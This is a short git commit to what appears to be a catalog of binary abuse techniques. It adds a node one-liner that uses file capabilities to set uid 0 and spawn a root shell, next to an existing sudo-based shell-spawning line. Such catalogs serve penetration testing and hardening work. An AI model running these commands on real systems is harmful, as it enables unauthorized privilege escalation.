Add capabilities to node

This commit is contained in:
Emilio Pinna 2018-09-12 22:02:05 +01:00
parent c7375411b7
commit 7314987800

View File

@ -30,4 +30,7 @@ functions:
sudo-enabled:
- code: |
sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});'
capabilities-enabled:
- code: |
./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});'
---